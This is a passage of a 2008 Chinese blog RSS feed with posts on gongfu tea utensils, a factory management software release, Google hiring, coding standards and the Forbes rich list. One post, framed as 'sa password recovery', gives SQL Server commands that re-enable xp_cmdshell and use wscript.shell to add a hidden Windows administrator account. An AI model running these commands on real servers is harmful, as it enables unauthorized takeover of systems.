            <guid>http://blog.sina.com.cn/s/blog_3e27a4c1010098vp.html</guid>
        </item>
        <item>
            <title>功夫茶具</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c1010097dh.html</link>
            <description><![CDATA[功夫茶具<br/>
　　饮茶离不开茶具，茶具是指泡饮茶叶的专门器具，包括壶，碗，杯，盘，托等，古人讲究饮茶之道的另一个重要表现，是非常注重茶具的本身的艺术，一套精致的茶具配合色，香，味三绝的名茶，可谓相得益彰。随着饮茶之风的兴盛以及各个时代饮茶风俗的演变，茶具的品种越来越多，质地越来越精美。潮汕功夫茶所用的茶具最少也需要十种，这就是：<br/>

<b>第一：茶壶</B><br/>
&nbsp;
&nbsp;潮人土语叫做"冲罐"，也有叫做"苏罐"的，因为它出自江苏的宜兴，是宜兴紫砂壶中最小的一种。选择茶壶，好坏标准有四字诀，曰："小，浅，齐，老。"茶壶有二人罐，三人罐，四人罐，四有罐等的分别，以孟臣，铁画轩，秋圃，萼圃，小山，袁熙生等制造的最受珍视。壶的式样很多，有小如桔子，大似蜜柑者，也有瓜形，柿形，菱形，鼓形，梅花形......一般多有鼓形的，取其端正浑厚故也。壶的色泽也有多种，朱砂，古铁栗色，紫泥，石黄，天青......但不管款式，色泽如何，最重要的是"壶宜小不宜大，宜浅不宜深"。因为大就不"功夫"了。<br/>

<b>第二：茶杯</B><br/>
&nbsp; &nbsp;&nbsp;
&nbsp;茶杯的选择也有四字诀：小，浅，薄，白。小则一啜而尽；浅则水不留底；色白如玉用以衬托茶的颜色；质薄如纸以使其能以起香。潮州茶客常以白地蓝花底平口阔，杯底书"若深珍藏"的"若深杯"为珍贵，但已不易得。江西景德镇和潮州枫溪出品的白瓷小杯，也是很好的，俗称为"白果杯"。<br/>

<b>第三：茶洗</B><br/>
&nbsp;
&nbsp;&nbsp;&nbsp;形如大碗，深浅色样很多，烹功夫茶必备三个，一正二副，正洗用以浸茶杯，副洗用以浸冲罐，一个用以盛洗杯的水和已泡过的茶叶。<br/>

<b>第四：茶盘</B><br/>
&nbsp;
&nbsp;&nbsp;&nbsp;茶盘是用来盛茶杯的，也有各种款式，圆月形，棋盘形......但不管什么式样,最重要也是四字诀：宽，平，浅，白。就是盘面要宽，以便就客人人数多寡，可以放多几个杯；盘底要平，才不会使茶杯不稳，易于摇晃；边要浅，色要白，这都是为了衬托茶杯，茶壶，使之美观。<br/>

<b>第五：茶垫</B><br/>
&nbsp;
&nbsp;&nbsp;&nbsp;比茶盘小，是用来置冲罐的，也有各种式样，但总之要注意到"夏浅冬深"。冬深是为便于浇罐时多装些沸水，使茶不易冷，茶垫里还要垫上一层"垫毡"，"茶垫"是用丝瓜络按茶垫的形状大少煎成的，所以要用丝瓜络而不用布毡者，为了不会生异味，垫毡的作用是为了保护茶壶，功夫茶在洒茶后还要将茶壶倒置过来以免壶里积水，一点点的水，也会使茶味变苦，原因是单宁酸溶解了。<br/>

<b>第六：水瓶与水钵</B><br/>
&nbsp;
&nbsp;&nbsp;&nbsp;作用一样，都是用以贮水烹茶的。水瓶，修颈垂肩，平底，有提柄，素瓷青花者最好。也有一种束颈有嘴，饰以螭龙，名叫螭龙樽的也不错。水钵，也是用来贮水以备烹茶的，大小均相等于一个普通花盆，款式也很多。明代制的"红金彩"，用五金釉，描金鱼二尾在钵底，舀水时水动，好像金鱼也动，这是很少见的珍品。<br/>

<b>第七：龙缸</B><br/>
&nbsp; &nbsp;&nbsp;
&nbsp;大龙缸类似庭中栽种莲花之莲缸，或较小些。用以贮存大量的泉水，密盖，下托以木几，放在书斋一角，古色古香。龙缸也是素瓷青花，有明宣德年造的，但很难见到。<br/>

<b>第八：红泥小火炉</B><br/>
&nbsp;
&nbsp;&nbsp;&nbsp;红泥小火炉，潮安，潮阳，揭阳都有制作，式样好看极了。同样有各种形式，特点是长形，高六，七寸，置炭的炉心深而小，这样使火势均匀，省炭，小炉有盖和门，不用语时把它一盖一关，既节约，又方便。小炉门边往往还有一副很文雅的对联，益发增添茶兴。<br/>

<b>第九：砂铫</B><br/>
&nbsp; &nbsp;
"砂铫"，潮安枫溪做的最著名，俗称"茶锅"，是用砂泥做成的，很轻巧，水一开，小盖子会自动掀动，发出一阵阵的声响。这时的水冲茶刚刚合适。至于用钢锅，铝锅来煮水冲共茶的，虽然也无不可，可是金属的东西，用以煮水冲茶毕竟要差一些，不算功夫了。<br/>

<b>第十：羽扇与钢筷</B><br/>
&nbsp; &nbsp;
羽扇是用以煽火的，煽火时既须用劲，又不可煽过炉门左右，这样才能保持一定火候，也是表示对客人的尊敬。所以，特制的羽扇不但有利"功夫"的施展，而且一枝用洁白鹅翎编制成的扇，大汪过掌，竹柄丝穗的精雅，衬托着红，绿，白&hellip;&hellip;各种颜色的茶具，加上金紫色的浓茶，自然别有风趣。钢筷则不但为了钳炭，挑火，而且可以使主人双手保持清洁。]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;喝茶品茶谈茶与茶具</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c1010097dh.html#comment</comments>
            <pubDate>Thu, 24 Apr 2008 02:44:19 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c1010097dh.html</guid>
        </item>
        <item>
            <title>&quot;好点子PMC管理系统&quot;预发布...</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c10100967m.html</link>
            <description><![CDATA[<p>软件名称：好点子PMC管理系统<br/>
版本：V1.0<br/>
开发环境：.NET 2.0&nbsp;<br/>
开发语言:C#<br/>
数据库：SQL Server 2000<br/>
用户对象：10-1000人的中小来料加工企业<br/>
主要功能：以一个加工企业为例来说明：<br/>
&nbsp;&nbsp;&nbsp;&nbsp;
COMa是一个国际易公司在大陆的生产厂家，主要从事婴儿产品的加工，员工人数约300人。产品以洗澡盆为例，COMa需要做的是，从不能供应商购买相关材料，其中一部分材料购得后需要再次外发给其它加工厂加工，一部分需要COMa自己工厂的某一部门再加工，甚至再转到另一个部门加工，或者再次分发给其它工厂再次代加工，最后，将所有物料、半成品集中到COMa的一个组装部，进行组装，完成后即可出货。<br/>

&nbsp;&nbsp;&nbsp;
现在COMa遇到这样的一些问题：<br/>
&nbsp;&nbsp;&nbsp;
1，所接到的订单生产周期短，只有10到15天左右的时间就要出货；<br/>

&nbsp;&nbsp;&nbsp;
2，所需的物料种类比较多，数量比较少，因为客户都是来自世界不同的国家，因此，同一种物料还有不同的具体要求，比如：PVC材料，去日本的，需要符合JP标准的，去欧洲的，需要EN标准的，而且去欧洲的，有的除了需要EN标准外，还特别需要他本国的标准。<br/>

&nbsp;&nbsp;&nbsp;
3，COMa工厂空间比较少，没有任何可浪费的空间，包括1平方米；<br/>

&nbsp;&nbsp;&nbsp;
4，有时候，有的客户突然要求订单要比原计划提前N天出货；<br/>

&nbsp;&nbsp;&nbsp;
5，有由上面这些原因，经常造成COMa工厂物料不能正常供应&ldquo;组装部&rdquo;生产，或者说&ldquo;组装部&rdquo;不能安物料来的情况具体生产；<br/>

&nbsp;&nbsp;&nbsp;
6，COMa有3名采购，没有物控，因为经常有物料漏购回来，或者是购错规格的物料。<br/>

&nbsp;&nbsp;&nbsp;
7，由于很多物料比较小，仓库放在那里一段时间后，就找不到了，即便找到，原来记录的库存数量又不一定是准确的。<br/>

&nbsp;&nbsp;&nbsp;<br/>
基于以上原因和现状，COMa公司需要一套管理系统来处理这些事情，要达到的效果：<br/>

功能上的要求：<br/>
1，能正常安客户要求时间出货（这是底线）；<br/>
2，任何人一上来，就能容易上手，不会说因为不太了解公司的产品结构，而漏购物料（一款产品有好几百种物料，谁能全部记在大脑里，况且有那么多款产品，不同的客户又有不同的要求），<br/>

3，随时能查到仓库的真实库存。<br/>
4，即使偶尔有客人订单提前生产，可随时进行物料的调动，也就是先借用其它订单可用在此单上的材料，等这个单的材料回来后补还回去。<br/>

软件的要求：<br/>
1，要可以整个COMa有电脑的人都能用上，也就是要做成网络版的，但要有桌面客户端的，数据库放在服务器上；<br/>

2，能进行简单的曲线分析；<br/>
3，速度不能太慢。<br/>
4，界面本身，不要太花稍，以XP效果最佳。</P>
<p>下面是我的登陆界面：</P>
<p><a HREF="http://album.sina.com.cn/pic/3e27a4c12af181bfb17c8" TARGET="_blank"></A><a HREF="http://album.sina.com.cn/pic/3e27a4c14465b0f8d1311&amp;000" TARGET="_blank"></A></P>
<p ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c144b59cb6deabe" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/3e27a4c144b59cb6deabe" /></A></P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;项目信息发布与更新</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c10100967m.html#comment</comments>
            <pubDate>Mon, 21 Apr 2008 03:31:11 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c10100967m.html</guid>
        </item>
        <item>
            <title>李开复：四种人可向Google投递简历</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101008zb6.html</link>
            <description><![CDATA[&nbsp;&nbsp;&nbsp;
Google是一个让人极其羡慕的公司,高薪高福利，可以带宠物狗上班，可以拿20%的时间干自己想干的事，老板还不能过问和干涉……
<p STYLE="TEXT-INDENT: 2em">
很多年轻的重庆人都梦想着能进入Google。据悉，我市一群互联网的从业者昨天就在商量，要一大早就骑自行车赶往北碚的西南大学，就想趁李开复博士讲座间隙提出这个问题。李开复告诉记者，要想加入Google成为一名工程师，只有一个标准，你是不是创新实践者？简单而言，就是你有没有新点子，并且编程功夫要很好！</P>
<p STYLE="TEXT-INDENT: 2em">
李博士希望有四种人可以向Google投递简历：个人曾经做过极有创意的网站；发表过非常好的论文；编写过10万行以上的代码；在优秀的互联网团队工作过。</P>
<p STYLE="TEXT-INDENT: 2em">
“Google是一个追求员工快乐的企业，我们给予员工20%的自主时间，其实是在激发他们的潜能。”李开复非常乐于向记者介绍他们的企业文化，“Google的Gmail、社交网、Google输入法、谷歌春运地图等很多了不起的产品都是员工在这20%的快乐时间里激发出来的。”</P>
<p STYLE="TEXT-INDENT: 2em">&nbsp;</P>
<p STYLE="TEXT-INDENT: 2em"><font STYLE="FONT-SIZE: 12px" COLOR="#C7C7C7">以上信息来自csdn.net</FONT></P>
]]></description>
            <author>『一枝独秀』</author>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101008zb6.html#comment</comments>
            <pubDate>Wed, 02 Apr 2008 05:15:25 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101008zb6.html</guid>
        </item>
        <item>
            <title>利用SQL分离器实现sa口令恢复</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101008s4b.html</link>
            <description><![CDATA[<div>
&nbsp;下面这些命令要SQL分离器才能实现，下面是一些关于sa弱口令相关命令。<br/>

<br/>
注：具体问题具体分析，以上方法仅供参考，不一定有效，相关原理知识请自行查找。<br/>

<br/>
<strong>一.更改sa口令方法：</STRONG><br/>
<br/>
用sql综合利用工具连接后，执行命令：exec&nbsp;sp_password&nbsp;NULL,'新密码','sa'<br/>

(提示：慎用!)<br/>
<br/>
<strong>二.简单修补sa弱口令：</STRONG><br/>
<br/>
方法1：查询分离器连接后执行：<br/>
<br/>
if&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;<br/>

dbo.sysobjects&nbsp;where&nbsp;id&nbsp;=&nbsp;object_id(N'[dbo].[xp_cmdshell]')&nbsp;and&nbsp;<br/>

OBJECTPROPERTY(id,&nbsp;N'IsExtendedProc')&nbsp;=&nbsp;1)&nbsp;<br/>

exec&nbsp;sp_dropextendedproc&nbsp;N'[dbo].[xp_cmdshell]'&nbsp;<br/>

GO<br/>
<br/>
然后按F5键命令执行完毕。<br/>
<br/>
方法2：查询分离器连接后<br/>
<br/>
第一步执行：use&nbsp;master，<br/>
<br/>
第二步执行：sp_dropextendedproc&nbsp;'xp_cmdshell'，<br/>

<br/>
然后按F5键命令执行完毕。<br/>
<br/>
<br/>
<strong>三.常见情况恢复执行xp_cmdshell：</STRONG><br/>
<br/>
1&nbsp;未能找到存储过程'master..xpcmdshell'。<br/>
<br/>
恢复方法：查询分离器连接后，<br/>
<br/>
第一步执行：EXEC&nbsp;sp_addextendedproc&nbsp;xp_cmdshell,@dllname&nbsp;='xplog70.dll'declare&nbsp;@o&nbsp;int，<br/>

<br/>
第二步执行：sp_addextendedproc&nbsp;'xp_cmdshell',&nbsp;'xpsql70.dll'，<br/>

<br/>
然后按F5键命令执行完毕。<br/>
<br/>
2&nbsp;无法装载&nbsp;DLL&nbsp;xpsql70.dll&nbsp;或该DLL所引用的某一DLL。原因126（找不到指定模块。）<br/>

<br/>
恢复方法：查询分离器连接后，<br/>
<br/>
第一步执行：sp_dropextendedproc&nbsp;"xp_cmdshell"，<br/>

<br/>
第二步执行：sp_addextendedproc&nbsp;'xp_cmdshell','xpsql70.dll'<br/>

<br/>
然后按F5键命令执行完毕。<br/>
<br/>
3&nbsp;无法在库&nbsp;xpweb70.dll&nbsp;中找到函数&nbsp;xp_cmdshell。原因:&nbsp;127(找不到指定的程序。)<br/>

<br/>
恢复方法：查询分离器连接后,<br/>
<br/>
第一步执行：exec&nbsp;sp_dropextendedproc&nbsp;'xp_cmdshell'<br/>

<br/>
第二步执行：exec&nbsp;sp_addextendedproc&nbsp;'xp_cmdshell','xpweb70.dll'<br/>

<br/>
然后按F5键命令执行完毕。<br/>
<br/>
<strong>四.终极方法：</STRONG><br/>
<br/>
如果以上方法均不可恢复，请尝试用下面的办法直接添加帐户：<br/>
<br/>
查询分离器连接后，<br/>
<br/>
2000servser系统:<br/>
<br/>
declare&nbsp;@shell&nbsp;int&nbsp;exec&nbsp;sp_oacreate&nbsp;'wscript.shell',@shell&nbsp;output<br/>

exec&nbsp;sp_oamethod&nbsp;@shell,'run',null,'c:\winnt\system32\cmd.exe&nbsp;/c&nbsp;net&nbsp;user&nbsp;新用户&nbsp;密码&nbsp;/add'<br/>

<br/>
declare&nbsp;@shell&nbsp;int&nbsp;exec&nbsp;sp_oacreate&nbsp;'wscript.shell',@shell&nbsp;output&nbsp;exec&nbsp;sp_oamethod<br/>

@shell,'run',null,'c:\winnt\system32\cmd.exe&nbsp;/c&nbsp;net&nbsp;localgroup&nbsp;administrators&nbsp;新用户&nbsp;/add'<br/>

<br/>
xp或2003server系统:<br/>
<br/>
declare&nbsp;@shell&nbsp;int&nbsp;exec&nbsp;sp_oacreate&nbsp;'wscript.shell',@shell&nbsp;output&nbsp;exec&nbsp;sp_oamethod<br/>

@shell,'run',null,'c:\windows\system32\cmd.exe&nbsp;/c&nbsp;net&nbsp;user&nbsp;新用户&nbsp;密码&nbsp;/add'<br/>

declare&nbsp;@shell&nbsp;int&nbsp;exec&nbsp;sp_oacreate&nbsp;'wscript.shell',@shell&nbsp;output&nbsp;exec&nbsp;sp_oamethod<br/>

@shell,'run',null,'c:\windows\system32\cmd.exe&nbsp;/c&nbsp;net&nbsp;localgroup&nbsp;administrators&nbsp;新用户&nbsp;/add'</DIV>
]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101008s4b.html#comment</comments>
            <pubDate>Wed, 12 Mar 2008 09:26:56 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101008s4b.html</guid>
        </item>
        <item>
            <title>编程规范</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101008q7a.html</link>
            <description><![CDATA[<div>&nbsp;　　1.基本要求<br/>
　　<br/>
　　1.1
程序结构清析，简单易懂，单个函数的程序行数不得超过100行。<br/>
　　1.2
打算干什么，要简单，直接了当，代码精简，避免垃圾程序。<br/>
　　1.3 尽量使用标准库函数和公共函数。<br/>
　　1.4 不要随意定义全局变量，尽量使用局部变量。<br/>
　　1.5 使用括号以避免二义性。<br/>
　　<br/>
　　2.可读性要求<br/>
　　2.1 可读性第一，效率第二。<br/>
　　2.2 保持注释与代码完全一致。<br/>
　　2.3 每个源程序文件，都有文件头说明，说明规格见规范。<br/>
　　2.4 每个函数，都有函数头说明，说明规格见规范。<br/>
　　2.5
主要变量（结构、联合、类或对象）定义或引用时，注释能反映其含义。<br/>

　　2.7 常量定义（DEFINE）有相应说明。<br/>
　　2.8 处理过程的每个阶段都有相关注释说明。<br/>
　　2.9 在典型算法前都有注释。<br/>
　　2.10
利用缩进来显示程序的逻辑结构，缩进量一致并以Tab键为单位，定义Tab为
6个<br/>
　　字节。<br/>
　　2.11 循环、分支层次不要超过五层。<br/>
　　2.12 注释可以与语句在同一行，也可以在上行。<br/>
　　2.13 空行和空白字符也是一种特殊注释。<br/>
　　2.14 一目了然的语句不加注释。<br/>
　　2.15
注释的作用范围可以为：定义、引用、条件分支以及一段代码。<br/>
　　2.16 注释行数（不包括程序头和函数头说明部份）应占总行数的 1/5
到 1/3 。<br/>
　　<br/>
　　<br/>
　　3. 结构化要求<br/>
　　<br/>
　　3.1 禁止出现两条等价的支路。<br/>
　　3.2 禁止GOTO语句。<br/>
　　3.3 用 IF 语句来强调只执行两组语句中的一组。禁止 ELSE GOTO 和
ELSE RETURN。<br/>
　　3.4 用 CASE 实现多路分支。<br/>
　　3.5 避免从循环引出多个出口。<br/>
　　3.6 函数只有一个出口。<br/>
　　3.7 不使用条件赋值语句。<br/>
　　3.8 避免不必要的分支。<br/>
　　3.9 不要轻易用条件分支去替换逻辑表达式。<br/>
　　<br/>
　　4. 正确性与容错性要求<br/>
　　<br/>
　　4.1 程序首先是正确，其次是优美<br/>
　　4.2
无法证明你的程序没有错误，因此在编写完一段程序后，应先回头检查。<br/>

　　4.3
改一个错误时可能产生新的错误，因此在修改前首先考虑对其它程序的影响。<br/>

　　4.4 所有变量在调用前必须被初始化。<br/>
　　4.5 对所有的用户输入，必须进行合法性检查。<br/>
　　4.6 不要比较浮点数的相等，<br/>
　　如： 10.0 * 0.1 == 1.0 ， 不可靠<br/>
　　4.7
程序与环境或状态发生关系时，必须主动去处理发生的意外事件，如文件能否<br/>

　　逻辑锁定、打印机是否联机等。<br/>
　　4.8
单元测试也是编程的一部份，提交联调测试的程序必须通过单元测试。<br/>

　　<br/>
　　5. 可重用性要求<br/>
　　<br/>
　　5.1
重复使用的完成相对独立功能的算法或代码应抽象为公共控件或类。<br/>
　　5.2
公共控件或类应考虑OO思想，减少外界联系，考虑独立性或封装性。<br/>
　　5.3 公共控件或类应建立使用模板。<br/></DIV>
]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101008q7a.html#comment</comments>
            <pubDate>Fri, 07 Mar 2008 00:04:06 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101008q7a.html</guid>
        </item>
        <item>
            <title>福布斯08全球富豪榜：巴菲特超盖茨成首富</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101008pyd.html</link>
            <description><![CDATA[<div>
&nbsp;北京时间3月6日早消息，《福布斯》杂志今天发布了最新的全球富豪榜，巴菲特由于所持股票大涨，身家猛增100亿美元至620亿美元，问鼎全球首富，墨西哥电信大亨斯利姆以600亿美元位居第二，13年蝉联首富桂冠的微软主席盖茨退居第三。
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;很久以来，数字13一直被全球各地迷信的人们认为是个不吉祥的数字。这一说法正适合比尔-盖茨
(Bill
Gates)，连续13年位于世界富豪榜首位后，今年结束了他的世界首富地位。</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;尽管目前盖茨的财富价值为580亿美元，较去年高出20亿美元，但现在他只名列全球富豪榜第三位，而他的朋友兼慈善事业合作伙伴沃伦-巴菲特
(Warren Buffett)
的财富净值则猛增100亿美元至620亿美元，从而跃升为世界首富。（所有的股票价格和净资产价值均截至2月11日）。排名第二的则是墨西哥电信业巨头卡洛斯-斯利姆-埃卢
(Carlos Slim
Helú)，他的财产在仅仅两年的时间内翻了一番，至600亿美元。</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;2008年度全球富豪榜:</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;排名
姓名 国籍 年龄 资产</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;1
沃伦·巴菲特 美国 77岁 620亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;2
卡洛斯-斯利姆·赫鲁家族 墨西哥 68岁 600亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;3
比尔·盖茨 美国 52岁 580亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;4
拉什米·米塔尔 印度 57岁 450亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;5
穆凯什·阿姆巴尼 印度 50岁 430亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;6
阿尼尔·阿姆巴尼 印度 48岁 420亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;7
英瓦尔·坎普拉德家族 瑞典 81岁 310亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;8
KP-辛格 印度 76岁 300亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;9
奥莱格-德里帕斯卡 俄罗斯 40岁 280亿美元</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;10
卡尔·阿尔布里特 德国 88岁 270亿美元</FONT></P>
<p>&nbsp;</P>
<p>&nbsp;</P>
<p ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c1447bf5a1861ae" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/3e27a4c1447bf5a1861ae" BORDER="0"></IMG></A></P>
<p>2008年福布斯全球富豪榜之巴菲特简介</P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;出生年月：1930年8月30日</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;籍贯：美国内布拉斯加州奥马哈市</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;伯克希尔公司</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;职位：董事局主席</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;毕业院校：哥伦比亚大学金融系</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;经历：</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;1957年，巴菲特掌管的资金达到30万美元，但年末则升至50万美元。1994年底已发展成拥有230亿美元的伯克希尔工业王国，它早已不再是一家纺纱厂，它已变成巴菲特的庞大的投资金融集团。</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;1965—2006年的42年间，伯克希尔公司净资产的年均增长率达21.4%，累计增长361156%；同期标准普尔500指数成分公司的年均增长率为10.4%，累计增长幅为6479%。</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;2007年3月1日，伯克希尔公司A股股价上涨410美元，收于106600美元。去年伯克希尔A股股价上涨了23%，相形之下，标普500指数成分股股价平均涨幅仅为9%。</FONT></P>
<p><font CLASS="black">&nbsp;&nbsp;&nbsp;&nbsp;巴菲特是有史以来最伟大的投资家，他依靠股票、外汇市场的投资成为世界上数一数二的富翁。他倡导的价值投资理论风靡世界。价值投资并不复杂，巴菲特曾将其归结为三点：把股票看成许多微型的商业单元；把市场波动看作你的朋友而非敌人(利润有时候来自对朋友的愚忠)；购买股票的价格应低于你所能承受的价位。“从短期来看，市场是一架投票计算器。但从长期看，它是一架称重器”——事实上，掌握这些理念并不困难，但很少有人能像巴菲特一样数十年如一日地坚持下去。巴菲特似乎从不试图通过股票赚钱，他购买股票的基础是：假设次日关闭股市、或在五年之内不再重新开放。在价值投资理论看来，一旦看到市场波动而认为有利可图，投资就变成了投机，没有什么比赌博心态更影响投资。”</FONT></P>
<p>&nbsp;</P>
<p>&nbsp;</P>
<p>&nbsp;</P>
<p ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c1447bf5a21afaa" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/3e27a4c1447bf5a21afaa" BORDER="0"></IMG></A></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black"><strong>2008年福布斯全球富豪榜之卡洛斯·斯利姆·赫鲁简介：</STRONG></FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">出生年月：1940年</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">行业：电信</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">赫鲁1940年出生于墨西哥城，父亲曾是某旅馆老板，后来因投资地产而发迹。在父亲的言传身教下，赫鲁从小就对投资表现出浓厚的兴趣。11岁时，他就做出了人生的第一笔投资——购买国债。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">赫鲁在墨西哥国立大学毕业后，成为一名数学教师。上世纪80年代，在父亲的要求下，赫鲁脱离教师职业，接手父亲家族生意，开始在地产项目上大展拳脚。投身商业后，这位土木工程出身的技术专才，显示了相当好的生意头脑。赫鲁的商业触角敏锐，被称为“总喜欢捡便宜”的人。除了在期货市场上抓机会外，他还投资过一个啤酒瓶生产项目，这两项生意都为他赚取了可观的收益。
&nbsp;&nbsp;&nbsp;&nbsp;</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">&nbsp;在迎娶了出身名门的索玛娅·贾梅耶后，赫鲁成立了卡尔索工业集团公司。此后，赫鲁对投资十分热衷：大事收购经营不善或股票被严重低估的企业，通过对管理人员和机制的调整改造，扭亏为盈。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black"><strong>16年成全球第三富</STRONG></FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">20世纪90年代，赫鲁以1760万美元买进了墨西哥电话公司，这为他跻身亿万富豪奠定了基础，也为他赢取了“拉美的沃伦·巴菲特”的美誉，让他仅用了16年时间就爬升到《福布斯》2006年富豪榜第三富的位置。</FONT></P>
<p STYLE="TEXT-INDENT: 2em">&nbsp;</P>
<p STYLE="TEXT-INDENT: 2em">&nbsp;</P>
<p STYLE="TEXT-INDENT: 2em" ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c106d9322a21313" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/3e27a4c106d9322a21313" BORDER="0"></IMG></A></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black"><strong>2008年福布斯全球富豪榜之比尔·盖茨简介</STRONG></FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">出生年月：1955年10月28日</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">籍贯：美国</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">公司：微软公司</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">职位：董事长兼首席软件架构师</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">毕业院校：哈佛大学肄业</FONT></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">经历：</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">比尔-盖茨是微软公司主席和首席软件架构师。微软公司在个人计算和商业计算软件、服务和互联网技术方面都是全球范围内的领导者。在2002年6月截止的上个财年，微软公司的收入达283.7亿美元，在78个国家和地区开展业务，全球的员工总数超过50,000人。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">盖茨出生于1955年10月28日，和两个姐姐一块在西雅图长大。他们的父亲，William
H. Gates II，是西雅图的律师。盖茨已故的母亲，Mary
Gates，是学校教师，华盛顿大学的董事以及United Way
International的主席。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">盖茨曾就读于在西雅图的公立小学和私立的湖滨中学。在那里，他发现了他在软件方面的兴趣并且在13岁时开始了计算机编程。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">1973年,盖茨考进了哈佛大学.在和现在微软的首席执行官史蒂夫·鲍尔默结成了好朋友。在哈佛的时候，盖茨为第一台微型计算机–MITS
Altair开发了BASIC编程语言的一个版本。</FONT></P>
<p STYLE="TEXT-INDENT: 2em"></P>
<p STYLE="TEXT-INDENT: 2em"><font CLASS="black">在大学三年级的时候，盖茨离开了哈佛并把全部精力投入到他与孩提时代的好友Paul
